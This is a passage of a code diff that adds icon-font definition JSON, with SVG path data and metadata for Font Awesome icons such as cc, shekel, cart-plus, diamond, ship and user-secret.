11.429 127.429 73.714 127.429 39.429 0 57.714-34.286 62.286-79.429zM855.429 576h117.714c-10.857 120.571-79.429 193.714-178.286 193.714-123.429 0-198.286-94.857-198.286-246.857 0-150.857 82.286-245.143 186.286-245.143 114.286 0 178.286 70.857 188 190.857h-116.571c-3.429-48.571-28-76.571-66.286-76.571-42.857 0-68.571 45.714-68.571 136 0 65.714 10.857 127.429 73.143 127.429 39.429 0 58.286-34.286 62.857-79.429zM1060.571 508c0-153.143-8-219.429-43.429-267.429-7.429-9.714-19.429-16-29.143-22.857-36-26.286-203.429-36-398.286-36s-370.286 9.714-405.714 36c-10.286 7.429-22.857 13.143-30.286 22.857-35.429 47.429-42.857 114.286-42.857 267.429 0 153.714 8 220 42.857 267.429 8 10.857 20 15.429 30.286 23.429 35.429 26.286 210.857 37.143 405.714 37.143s362.286-10.286 398.286-37.143c9.714-7.429 22.286-12 29.143-23.429 36-46.857 43.429-113.714 43.429-267.429zM1170.286 73.143v877.714h-1170.286v-877.714h1170.286z" + ], + "width": 1170.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "cc" + ], + "defaultCode": 61962, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "cc", + "id": 476, + "order": 1332, + "prevSize": 28, + "code": 61962 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 476 + }, + { + "icon": { + "paths": [ + "M566.857 356.571v283.429c0 10.286-8 18.286-18.286 18.286h-91.429c-10.286 0-18.286-8-18.286-18.286v-283.429c0-85.714-69.714-155.429-155.429-155.429h-155.429v658.286c0 10.286-8 18.286-18.286 18.286h-91.429c-10.286 0-18.286-8-18.286-18.286v-768c0-10.286 8-18.286 18.286-18.286h265.143c156.571 0 283.429 126.857 283.429 283.429zM786.286 91.429v502.857c0 156.571-126.857 283.429-283.429 283.429h-265.143c-10.286 0-18.286-8-18.286-18.286v-548.571c0-10.286 8-18.286 18.286-18.286h91.429c10.286 0 18.286 8 18.286 18.286v438.857h155.429c85.714 0 155.429-69.714 155.429-155.429v-502.857c0-10.286 8-18.286 18.286-18.286h91.429c10.286 0 18.286 8 18.286 18.286z" + ], + "width": 786.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "ils", + "shekel", + "sheqel" + ], + "defaultCode": 61963, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "ils, shekel, sheqel", + "id": 477, + "order": 1333, + "prevSize": 28, + "code": 61963 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 477 + }, + { + "icon": { + "paths": [ + "M749.143 481.143v65.143c0 18.286-10.857 29.714-29.143 29.714h-115.429c-18.286 0-29.714-11.429-29.714-29.714v-65.143c0-18.286 11.429-29.714 29.714-29.714h115.429c18.286 0 29.143 11.429 29.143 29.714zM469.143 612.571v-142.857c0-40.571-26.857-67.429-67.429-67.429h-76c-25.714 0-44.571 10.857-54.857 29.714-10.286-18.857-29.143-29.714-54.857-29.714h-74.286c-40 0-67.429 26.857-67.429 67.429v142.857c0 8.571 4 12.571 12 12.571h31.429c8.571 0 12.571-4 12.571-12.571v-131.429c0-18.286 10.857-29.714 29.714-29.714h53.714c18.286 0 29.714 11.429 29.714 29.714v131.429c0 8.571 3.429 12.571 12 12.571h30.857c8.571 0 12.571-4 12.571-12.571v-131.429c0-18.286 11.429-29.714 29.714-29.714h55.429c18.286 0 29.143 11.429 29.143 29.714v131.429c0 8.571 4 12.571 12.571 12.571h31.429c8 0 12-4 12-12.571zM805.714 557.714v-88c0-40.571-27.429-67.429-68-67.429h-150.857c-40.571 0-68 26.857-68 67.429v234.286c0 8.571 4.571 12 12.571 12h31.429c8.571 0 12-3.429 12-12v-102.857c10.857 14.857 28 24 53.714 24h109.143c40.571 0 68-27.429 68-67.429zM877.714 205.714v612.571c0 73.143-59.429 132.571-132.571 132.571h-612.571c-73.143 0-132.571-59.429-132.571-132.571v-612.571c0-73.143 59.429-132.571 132.571-132.571h612.571c73.143 0 132.571 59.429 132.571 132.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "meanpath" + ], + "defaultCode": 61964, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "meanpath", + "id": 478, + "order": 1334, + "prevSize": 28, + "code": 61964 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 478 + }, + { + "icon": { + "paths": [ + "M522.857 620.571h-168l84-314.857zM572 804.571h177.714l-185.143-585.143h-251.429l-185.143 585.143h177.714l218.857-179.429zM877.714 237.714v548.571c0 90.286-74.286 164.571-164.571 164.571h-548.571c-90.286 0-164.571-74.286-164.571-164.571v-548.571c0-90.286 74.286-164.571 164.571-164.571h548.571c90.286 0 164.571 74.286 164.571 164.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "buysellads" + ], + "defaultCode": 61965, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "buysellads", + "id": 479, + "order": 1335, + "prevSize": 28, + "code": 61965 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 479 + }, + { + "icon": { + "paths": [ + "M1170.286 511.429c0 16-11.429 29.143-26.286 32l-117.143 203.429c1.143 3.429 1.714 6.857 1.714 10.286 0 15.429-10.857 28.571-25.714 31.429l-110.286 192.571c1.143 2.857 1.714 5.714 1.714 9.143 0 17.714-14.286 32.571-32.571 32.571-9.143 0-17.714-4-23.429-10.286h-228.571c-5.714 6.857-14.857 11.429-24.571 11.429s-18.857-4.571-24.571-11.429h-228c-5.714 6.857-14.286 11.429-24.571 11.429-17.714 0-32.571-14.286-32.571-32.571 0-4 1.143-8 2.286-11.429l-110.286-191.429c-14.857-2.857-25.714-16-25.714-31.429 0-4 0.571-6.857 1.714-10.286l-117.714-203.429c-14.857-3.429-25.714-16.571-25.714-32 0-16 11.429-29.143 26.857-32l113.714-196.571c0-1.143-0.571-2.286-0.571-3.429 0-13.143 8-24 19.429-29.143l119.429-207.429c-1.143-2.857-2.286-6.857-2.286-10.286 0-18.286 14.857-32.571 32.571-32.571 10.286 0 18.857 4.571 25.143 12h226.286c5.714-7.429 14.286-12 24.571-12s18.857 4.571 24.571 12h227.429c6.286-7.429 14.857-12 25.143-12 17.714 0 32.571 14.286 32.571 32.571 0 3.429-1.143 6.857-2.286 10.286l118.286 204.571c17.143 0.571 31.429 14.857 31.429 32 0 5.714-1.714 10.857-4 15.429l106.857 185.143c14.286 2.857 25.143 16 25.143 31.429zM607.429 968h222.286l-195.429-202.286h-81.714l-195.429 202.286h205.714c5.714-5.143 13.714-9.143 22.286-9.143s16.571 4 22.286 9.143zM64 504c0.571 2.286 0.571 4.571 0.571 7.429s0 5.714-1.143 8.571l118.857 205.714c2.857 0.571 5.714 2.286 8.571 3.429l107.429-113.714v-198.286l-106.857-110.857c-5.143 3.429-10.857 5.143-16.571 5.714zM563.429 56h-221.714l108.571 114.286 316.571-114.286h-160c-5.714 5.714-13.143 9.143-21.714 9.143s-16-3.429-21.714-9.143zM965.143 748.571c0.571-2.286 1.714-4.571 2.857-6.286l-36.571-38.857-9.714 45.143h43.429zM904.571 748.571l12.571-60-144-152-169.143 175.429 36 36.571h264.571zM854.286 958.857l9.143-16 37.143-177.143h-244l190.286 196c2.286-1.143 4.571-2.286 7.429-2.857zM330.286 968h2.857l195.429-202.286h-213.143v191.429l2.286 3.429c5.143 1.714 9.143 4 12.571 7.429zM315.429 748.571h229.714l36.571-37.714-176.571-183.429-89.714 94.857v126.286zM205.143 748.571h93.143v-108l-96 101.143c1.143 2.286 2.286 4.571 2.857 6.857zM204.571 277.143c0 0.571 0.571 1.714 0.571 2.286 0 6.286-1.714 12-4.571 16.571l97.714 101.143v-153.714zM315.429 237.143v177.714l87.429 89.714 169.714-179.429-127.429-134.857zM317.714 63.429l-2.286 4.571v150.857l117.143-42.286-109.143-114.857c-1.714 0.571-3.429 1.143-5.714 1.714zM826.857 56h-9.143l-354.857 128 121.714 128.571zM584.571 337.143l-169.714 180 177.714 182.286 169.143-175.429zM393.143 515.429l-77.714-80.571v162.286zM593.143 723.429l-24 25.143h48.571zM785.143 524.571l136 143.429 75.429-356.571-1.714-2.857-0.571-0.571zM981.714 296c-2.857-4.571-4.571-10.286-4.571-16.571v-1.143l-123.429-214.857c-2.857-0.571-5.143-1.714-7.429-2.857l-249.714 264.571 177.143 186.857zM298.286 225.143v-127.429l-93.143 161.143zM298.286 765.714h-93.143l93.143 161.714v-161.714zM918.286 765.714l-27.429 129.714 74.286-129.714h-46.857zM988 725.714l118.286-206.286c-0.571-2.857-1.143-5.143-1.143-8 0-3.429 1.143-6.286 1.714-9.143l-97.714-169.143-73.714 349.714 44 46.857c2.857-1.714 5.714-2.857 8.571-4z" + ], + "width": 1170.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "connectdevelop" + ], + "defaultCode": 61966, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "connectdevelop", + "id": 480, + "order": 1336, + "prevSize": 28, + "code": 61966 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 480 + }, + { + "icon": { + "paths": [ + "M0 388.571c0-98.857 78.857-184 179.429-184h424l201.143-204.571v840c0 99.429-78.857 184-179.429 184h-445.714c-100.571 0-179.429-84.571-179.429-184v-451.429zM704 819.429l-100.571-102.857v-242.857c0-34.857-28-64-62.857-64h-276.571c-34.857 0-62.857 29.143-62.857 64v281.143c0 34.857 28 64.571 62.857 64.571h440z" + ], + "width": 804.5714285714286, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "dashcube" + ], + "defaultCode": 61968, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "dashcube", + "id": 481, + "order": 1337, + "prevSize": 28, + "code": 61968 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 481 + }, + { + "icon": { + "paths": [ + "M533.714 85.714c-241.714 92-432 285.143-522.286 527.429-7.429-33.143-11.429-66.857-11.429-100.571 0-241.714 195.429-437.714 437.143-437.714 32.571 0 65.143 4 96.571 10.857zM687.429 153.714c35.429 24.571 66.857 54.286 93.714 88.571-296 86.286-527.429 318.857-612 615.429-33.714-26.286-64-57.143-88.571-92.571 85.143-293.714 313.714-524.571 606.857-611.429zM268.571 916c88-271.429 300.571-485.143 570.857-574.857 15.429 35.429 25.714 73.143 30.857 111.429-222.857 91.429-400 269.714-490.857 493.143-38.286-5.143-75.429-14.857-110.857-29.714zM877.714 949.143c-70.857-18.286-141.143-40-209.714-65.714-50.286 31.429-106.857 52.571-165.714 61.143 83.429-156 212-285.143 367.429-369.143-8 57.143-28 113.143-57.714 162.286 25.714 69.143 47.429 140 65.714 211.429z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "forumbee" + ], + "defaultCode": 61969, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "forumbee", + "id": 482, + "order": 1338, + "prevSize": 28, + "code": 61969 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 482 + }, + { + "icon": { + "paths": [ + "M1081.714 224l88.571 726.857c-53.143 0-98.857-10.857-146.857-32.571-71.429-32.571-145.714-52-224.571-52-81.143 0-156 26.857-213.714 84.571-57.714-57.714-132.571-84.571-213.714-84.571-78.857 0-153.143 19.429-224.571 52-46.286 20.571-93.143 32.571-144 32.571h-2.857l88.571-726.857c81.714-46.286 181.143-72.571 275.429-72.571 77.143 0 156.571 16 221.143 60.571 64.571-44.571 144-60.571 221.143-60.571 94.286 0 193.714 26.286 275.429 72.571zM798.857 788c108.571 0 182.857 29.143 281.143 69.714l-70.857-583.429c-64-29.143-140-44.571-210.286-44.571-80 0-154.857 25.143-213.714 80.571-58.857-55.429-133.714-80.571-213.714-80.571-70.286 0-146.286 15.429-210.286 44.571l-70.857 583.429c98.286-40.571 172.571-69.714 281.143-69.714 78.286 0 147.429 20 213.714 61.714 66.286-41.714 135.429-61.714 213.714-61.714zM821.714 768.571l-31.429-518.286c-82.286 1.714-147.429 29.714-205.143 88.571-60-61.143-128-88.571-213.714-88.571-64 0-132.571 13.143-192 37.714l-65.143 537.714c86.286-35.429 162.286-57.714 257.143-57.714 75.429 0 149.143 18.286 213.714 58.286 64.571-40 138.286-60 213.714-58.286z" + ], + "width": 1170.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "leanpub" + ], + "defaultCode": 61970, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "leanpub", + "id": 483, + "order": 1339, + "prevSize": 28, + "code": 61970 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 483 + }, + { + "icon": { + "paths": [ + "M857.143 783.429v-418.857c0-16-13.143-29.143-28.571-29.143h-53.143c-15.429 0-28.571 13.143-28.571 29.143v418.857c0 15.429 13.143 28.571 28.571 28.571h53.143c15.429 0 28.571-13.143 28.571-28.571zM694.857 783.429v-303.429c0-15.429-13.143-28.571-28.571-28.571h-57.714c-15.429 0-28.571 13.143-28.571 28.571v303.429c0 15.429 13.143 28.571 28.571 28.571h57.714c15.429 0 28.571-13.143 28.571-28.571zM528 783.429v-245.143c0-15.429-13.143-28.571-28.571-28.571h-57.714c-15.429 0-28.571 13.143-28.571 28.571v245.143c0 15.429 13.143 28.571 28.571 28.571h57.714c15.429 0 28.571-13.143 28.571-28.571zM361.143 783.429v-206.857c0-15.429-13.143-28.571-28.571-28.571h-57.714c-15.429 0-28.571 13.143-28.571 28.571v206.857c0 15.429 13.143 28.571 28.571 28.571h57.714c15.429 0 28.571-13.143 28.571-28.571zM1170.286 700c0 126.857-103.429 229.714-229.714 229.714h-710.857c-126.286 0-229.714-102.857-229.714-229.714 0-88.571 52-169.714 132-207.429-4-13.714-5.714-28-5.714-41.714 0-86.286 70.286-156.571 156.571-156.571 37.714 0 74.286 13.714 102.857 38.286 34.286-139.429 160-238.286 304-238.286 172.571 0 313.143 140.571 313.143 313.143 0 23.429-2.286 46.857-8 69.714 102.857 25.143 175.429 117.714 175.429 222.857z" + ], + "width": 1170.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "sellsy" + ], + "defaultCode": 61971, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "sellsy", + "id": 484, + "order": 1340, + "prevSize": 28, + "code": 61971 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 484 + }, + { + "icon": { + "paths": [ + "M0 0h877.714v795.429l-443.429 193.143-434.286-193.143v-795.429zM820.571 758.286v-529.143h-763.429v529.143l377.714 168zM820.571 172v-114.857h-763.429v114.857h763.429zM103.429 342.286v65.714h-21.143v-65.714h21.143zM103.429 426.857v65.714h-21.143v-65.714h21.143zM103.429 511.429v65.714h-21.143v-65.714h21.143zM103.429 596v65.714h-21.143v-65.714h21.143zM103.429 680.571v65.714h-21.143v-65.714h21.143zM118.286 762.286l8.571-19.429 60 26.857-8.571 18.857zM196 796.571l8.571-19.429 60 26.286-8.571 19.429zM273.143 830.857l8.571-19.429 60 26.286-8.571 19.429zM350.857 864.571l8.571-18.857 59.429 26.286-8.571 19.429zM455.429 872l60-26.286 8.571 18.857-60 26.857zM532.571 837.714l60-26.286 8.571 19.429-60 26.286zM610.286 803.429l60-26.286 8.571 19.429-60 26.286zM687.429 769.714l60-26.857 8.571 19.429-60 26.286zM148 84v20.571h-65.143v-20.571h65.143zM240.571 84v20.571h-65.714v-20.571h65.714zM333.143 84v20.571h-65.714v-20.571h65.714zM425.143 84v20.571h-65.143v-20.571h65.143zM517.714 84v20.571h-65.143v-20.571h65.143zM610.286 84v20.571h-65.714v-20.571h65.714zM702.857 84v20.571h-65.714v-20.571h65.714zM794.857 84v20.571h-65.143v-20.571h65.143zM103.429 278.286v45.143h-21.143v-65.714h65.714v20.571h-44.571zM240.571 257.714v20.571h-65.714v-20.571h65.714zM333.143 257.714v20.571h-65.714v-20.571h65.714zM425.143 257.714v20.571h-65.143v-20.571h65.143zM517.714 257.714v20.571h-65.143v-20.571h65.143zM610.286 257.714v20.571h-65.714v-20.571h65.714zM702.857 257.714v20.571h-65.714v-20.571h65.714zM774.286 323.429v-45.143h-44.571v-20.571h65.714v65.714h-21.143zM774.286 408v-65.714h21.143v65.714h-21.143zM774.286 492.571v-65.714h21.143v65.714h-21.143zM774.286 577.143v-65.714h21.143v65.714h-21.143zM774.286 661.714v-65.714h21.143v65.714h-21.143zM774.286 746.286v-65.714h21.143v65.714h-21.143zM434.286 726.286c-98.286 0-178.857-80-178.857-178.857 0-98.286 80.571-178.857 178.857-178.857 98.857 0 178.857 80.571 178.857 178.857 0 98.857-80 178.857-178.857 178.857zM340 508.571c0 86.857 152 23.429 152 74.286 0 25.714-46.857 28-64 28-24 0-58.286-5.143-70.286-29.143h-1.714l-17.714 36c29.143 18.286 57.143 24 92.571 24 38.286 0 100-11.429 100-61.143 0-94.286-153.714-32-153.714-74.286 0-25.714 40.571-29.143 58.286-29.143 21.143 0 57.143 6.286 69.714 25.714h1.714l17.143-33.143c-29.714-12-53.714-23.429-86.857-23.429-39.429 0-97.143 12.571-97.143 62.286z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "shirtsinbulk" + ], + "defaultCode": 61972, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "shirtsinbulk", + "id": 485, + "order": 1341, + "prevSize": 28, + "code": 61972 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 485 + }, + { + "icon": { + "paths": [ + "M493.143 589.714c0-85.714-69.143-154.857-154.857-154.857-85.143 0-154.286 69.143-154.286 154.857 0 85.143 69.143 154.286 154.286 154.286 85.714 0 154.857-69.143 154.857-154.286zM986.286 589.143c0-85.143-69.143-154.286-154.286-154.286-85.714 0-154.857 69.143-154.857 154.286 0 85.714 69.143 154.857 154.857 154.857 85.143 0 154.286-69.143 154.286-154.857zM1170.286 126.857v770.286c0 33.714-27.429 61.143-61.714 61.143h-1046.857c-34.286 0-61.714-27.429-61.714-61.143v-770.286c0-33.714 27.429-61.143 61.714-61.143h246.286c33.714 0 61.714 27.429 61.714 61.143v92h430.857v-92c0-33.714 28-61.143 61.714-61.143h246.286c34.286 0 61.714 27.429 61.714 61.143z" + ], + "width": 1170.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "simplybuilt" + ], + "defaultCode": 61973, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "simplybuilt", + "id": 486, + "order": 1342, + "prevSize": 28, + "code": 61973 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 486 + }, + { + "icon": { + "paths": [ + "M817.143 333.143c0 0-0.571-0.571 0 0v0zM965.714 449.714c110.857 0 204.571 82.857 204.571 196 0 120.571-96 209.143-214.857 209.143-303.429 0-359.429-456.571-657.714-456.571-115.429 0-199.429 73.714-199.429 192 0 122.286 91.429 196 209.714 196 77.714 0 166.286-32.571 229.143-77.714 10.286-7.429 30.857-29.714 41.714-29.714s20 9.143 20 20c0 14.286-24 34.857-34.286 44-74.857 65.143-183.429 112-282.857 112-152.571 0-281.714-108-281.714-265.143s123.429-272.571 279.429-272.571c338.857 0 406.857 449.714 661.714 449.714 76.571 0 134.286-49.714 134.286-128 0-72.571-56-127.429-128-127.429-32 0-64 21.143-85.714 21.143-15.429 0-29.143-13.143-29.143-28.571 0-21.143 9.714-43.429 9.714-66.286 0-121.714-93.143-209.714-213.714-209.714-97.143 0-146.286 67.429-162.286 67.429-11.429 0-20.571-9.143-20.571-20.571 0-10.286 7.429-18.857 14.286-26.286 46.286-52.571 118.286-80 188-80 145.143 0 254.286 106.857 254.286 252 0 12.571-0.571 25.143-2.286 37.714 21.714-5.714 44-8.571 65.714-8.571z" + ], + "width": 1170.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "skyatlas" + ], + "defaultCode": 61974, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "skyatlas", + "id": 487, + "order": 1343, + "prevSize": 28, + "code": 61974 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 487 + }, + { + "icon": { + "paths": [ + "M694.857 402.286c0-20-16.571-36.571-36.571-36.571h-73.143v-73.143c0-20-16.571-36.571-36.571-36.571s-36.571 16.571-36.571 36.571v73.143h-73.143c-20 0-36.571 16.571-36.571 36.571s16.571 36.571 36.571 36.571h73.143v73.143c0 20 16.571 36.571 36.571 36.571s36.571-16.571 36.571-36.571v-73.143h73.143c20 0 36.571-16.571 36.571-36.571zM365.714 877.714c0 40.571-32.571 73.143-73.143 73.143s-73.143-32.571-73.143-73.143 32.571-73.143 73.143-73.143 73.143 32.571 73.143 73.143zM877.714 877.714c0 40.571-32.571 73.143-73.143 73.143s-73.143-32.571-73.143-73.143 32.571-73.143 73.143-73.143 73.143 32.571 73.143 73.143zM950.857 256v292.571c0 18.286-13.714 34.286-32.571 36.571l-596.571 69.714c2.286 12.571 7.429 26.857 7.429 40s-8 25.143-13.714 36.571h525.714c20 0 36.571 16.571 36.571 36.571s-16.571 36.571-36.571 36.571h-585.143c-20 0-36.571-16.571-36.571-36.571 0-17.714 26.857-61.714 34.857-78.286l-101.143-470.286h-116.571c-20 0-36.571-16.571-36.571-36.571s16.571-36.571 36.571-36.571h146.286c38.857 0 39.429 45.714 45.143 73.143h686.286c20 0 36.571 16.571 36.571 36.571z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "cart-plus" + ], + "defaultCode": 61975, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "cart-plus", + "id": 488, + "order": 1344, + "prevSize": 28, + "code": 61975 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 488 + }, + { + "icon": { + "paths": [ + "M731.429 402.286c0-20-16.571-36.571-36.571-36.571-9.714 0-18.857 4-25.714 10.857l-84 83.429v-167.429c0-20-16.571-36.571-36.571-36.571s-36.571 16.571-36.571 36.571v167.429l-84-83.429c-6.857-6.857-16-10.857-25.714-10.857-20 0-36.571 16.571-36.571 36.571 0 9.714 4 18.857 10.857 25.714l146.286 146.286c6.857 6.857 16 10.857 25.714 10.857s18.857-4 25.714-10.857l146.286-146.286c6.857-6.857 10.857-16 10.857-25.714zM365.714 877.714c0 40.571-32.571 73.143-73.143 73.143s-73.143-32.571-73.143-73.143 32.571-73.143 73.143-73.143 73.143 32.571 73.143 73.143zM877.714 877.714c0 40.571-32.571 73.143-73.143 73.143s-73.143-32.571-73.143-73.143 32.571-73.143 73.143-73.143 73.143 32.571 73.143 73.143zM950.857 256v292.571c0 18.286-13.714 34.286-32.571 36.571l-596.571 69.714c2.286 12.571 7.429 26.857 7.429 40s-8 25.143-13.714 36.571h525.714c20 0 36.571 16.571 36.571 36.571s-16.571 36.571-36.571 36.571h-585.143c-20 0-36.571-16.571-36.571-36.571 0-17.714 26.857-61.714 34.857-78.286l-101.143-470.286h-116.571c-20 0-36.571-16.571-36.571-36.571s16.571-36.571 36.571-36.571h146.286c38.857 0 39.429 45.714 45.143 73.143h686.286c20 0 36.571 16.571 36.571 36.571z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "cart-arrow-down" + ], + "defaultCode": 61976, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "cart-arrow-down", + "id": 489, + "order": 1345, + "prevSize": 28, + "code": 61976 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 489 + }, + { + "icon": { + "paths": [ + "M121.143 438.857l356 380-171.429-380h-184.571zM585.143 880l199.429-441.143h-398.857zM307.429 365.714l116.571-219.429h-149.714l-164.571 219.429h197.714zM693.143 818.857l356-380h-184.571zM390.286 365.714h389.714l-116.571-219.429h-156.571zM862.857 365.714h197.714l-164.571-219.429h-149.714zM943.429 88l219.429 292.571c10.857 13.714 9.714 33.714-2.286 46.857l-548.571 585.143c-6.857 7.429-16.571 11.429-26.857 11.429s-20-4-26.857-11.429l-548.571-585.143c-12-13.143-13.143-33.143-2.286-46.857l219.429-292.571c6.857-9.714 17.714-14.857 29.143-14.857h658.286c11.429 0 22.286 5.143 29.143 14.857z" + ], + "width": 1170.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "diamond" + ], + "defaultCode": 61977, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "diamond", + "id": 490, + "order": 1346, + "prevSize": 28, + "code": 61977 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 490 + }, + { + "icon": { + "paths": [ + "M1034.857 888.571c14.286-14.286 37.143-14.286 51.429 0l73.143 73.143-51.429 51.429-47.429-47.429-47.429 47.429c-6.857 7.429-16.571 10.857-25.714 10.857s-18.857-3.429-25.714-10.857l-47.429-47.429-47.429 47.429c-14.286 14.286-37.143 14.286-51.429 0l-47.429-47.429-47.429 47.429c-14.286 14.286-37.143 14.286-51.429 0l-47.429-47.429-47.429 47.429c-14.286 14.286-37.143 14.286-51.429 0l-47.429-47.429-47.429 47.429c-14.286 14.286-37.143 14.286-51.429 0l-47.429-47.429-47.429 47.429c-14.286 14.286-37.143 14.286-51.429 0l-47.429-47.429-47.429 47.429c-14.286 14.286-37.143 14.286-51.429 0l-73.143-73.143 51.429-51.429 47.429 47.429 47.429-47.429c14.286-14.286 37.143-14.286 51.429 0l47.429 47.429 47.429-47.429c14.286-14.286 37.143-14.286 51.429 0l47.429 47.429 47.429-47.429c14.286-14.286 37.143-14.286 51.429 0l47.429 47.429 47.429-47.429c14.286-14.286 37.143-14.286 51.429 0l47.429 47.429 47.429-47.429c14.286-14.286 37.143-14.286 51.429 0l47.429 47.429 47.429-47.429c14.286-14.286 37.143-14.286 51.429 0l47.429 47.429zM135.429 866.857c-14.286 14.286-37.143 14.286-51.429 0l-73.143-73.143 51.429-51.429 47.429 46.857 47.429-46.857c14.286-14.286 37.143-14.286 51.429 0l47.429 46.857 36.571-36.571v-167.429l-120-179.429c-13.143-20-4-47.429 18.857-55.429l101.143-33.143v-170.857h73.143v-73.143h146.286v-73.143h146.286v73.143h146.286v73.143h73.143v170.857l101.143 33.143c22.857 8 32 35.429 18.857 55.429l-120 179.429v167.429l10.857-10.286c14.286-14.286 37.143-14.286 51.429 0l47.429 46.857 47.429-46.857c14.286-14.286 37.143-14.286 51.429 0l73.143 73.143-51.429 51.429-47.429-47.429-47.429 47.429c-6.857 7.429-16.571 10.857-25.714 10.857s-18.857-3.429-25.714-10.857l-47.429-47.429-47.429 47.429c-14.286 14.286-37.143 14.286-51.429 0l-47.429-47.429-47.429 47.429c-14.286 14.286-37.143 14.286-51.429 0l-47.429-47.429-47.429 47.429c-14.286 14.286-37.143 14.286-51.429 0l-47.429-47.429-47.429 47.429c-14.286 14.286-37.143 14.286-51.429 0l-47.429-47.429-47.429 47.429c-14.286 14.286-37.143 14.286-51.429 0l-47.429-47.429zM365.714 219.429v73.143l219.429-73.143 219.429 73.143v-73.143h-73.143v-73.143h-292.571v73.143h-73.143z" + ], + "width": 1170.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "ship" + ], + "defaultCode": 61978, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "ship", + "id": 491, + "order": 1347, + "prevSize": 28, + "code": 61978 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 491 + }, + { + "icon": { + "paths": [ + "M329.143 877.714l54.857-256-54.857-73.143-73.143-36.571zM475.429 877.714l73.143-365.714-73.143 36.571-54.857 73.143zM566.857 300.571c-0.571-1.143-1.143-2.286-2.286-3.429-5.143-4-46.286-4.571-54.857-4.571-32.571 0-63.429 4.571-95.429 10.857-4 1.143-8 1.143-12 1.143s-8 0-12-1.143c-32-6.286-62.857-10.857-95.429-10.857-8.571 0-49.714 0.571-54.857 4.571-1.143 1.143-1.714 2.286-2.286 3.429 0.571 5.143 1.143 10.286 2.286 15.429 3.429 4.571 6.286 2.857 8.571 9.714 14.857 40.571 21.714 72 73.143 72 73.714 0 53.143-68 77.143-68h6.857c24 0 3.429 68 77.143 68 51.429 0 58.286-31.429 73.143-72 2.286-6.857 5.143-5.143 8.571-9.714 1.143-5.143 1.714-10.286 2.286-15.429zM804.571 802.857c0 93.143-61.143 148-152.571 148h-499.429c-91.429 0-152.571-54.857-152.571-148 0-103.429 18.286-260 124.571-311.429l-51.429-125.714h122.286c-8-23.429-12.571-48-12.571-73.143 0-6.286 0.571-12.571 1.143-18.286-22.286-4.571-110.857-22.857-110.857-54.857 0-33.714 97.143-52 120-56.571 12-42.857 40.571-108 69.714-141.714 11.429-13.143 25.714-21.143 43.429-21.143 34.286 0 61.714 35.429 96 35.429s61.714-35.429 96-35.429c17.714 0 32 8 43.429 21.143 29.143 33.714 57.714 98.857 69.714 141.714 22.857 4.571 120 22.857 120 56.571 0 32-88.571 50.286-110.857 54.857 2.857 30.857-1.143 61.714-11.429 91.429h122.286l-46.857 128.571c102.286 53.143 120 206.857 120 308.571z" + ], + "width": 804.5714285714286, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "user-secret" + ], + "defaultCode": 61979, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "user-secret", + "id": 492, + "order": 1348, + "prevSize": 28, + "code": 61979 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 492 + }, + { + "icon": { + "paths": [ + "M1314.857 592c18.286 160.571-112.571 295.429-272 285.143-122.286-8-224-105.714-236.571-228-9.143-86.857 25.143-165.143 83.429-217.714l-40.571-61.143c-72 60-117.714 149.714-117.714 250.286 0 20.571-16 37.714-36.571 37.714h-185.714c-17.714 124-124 219.429-253.143 219.429-141.143 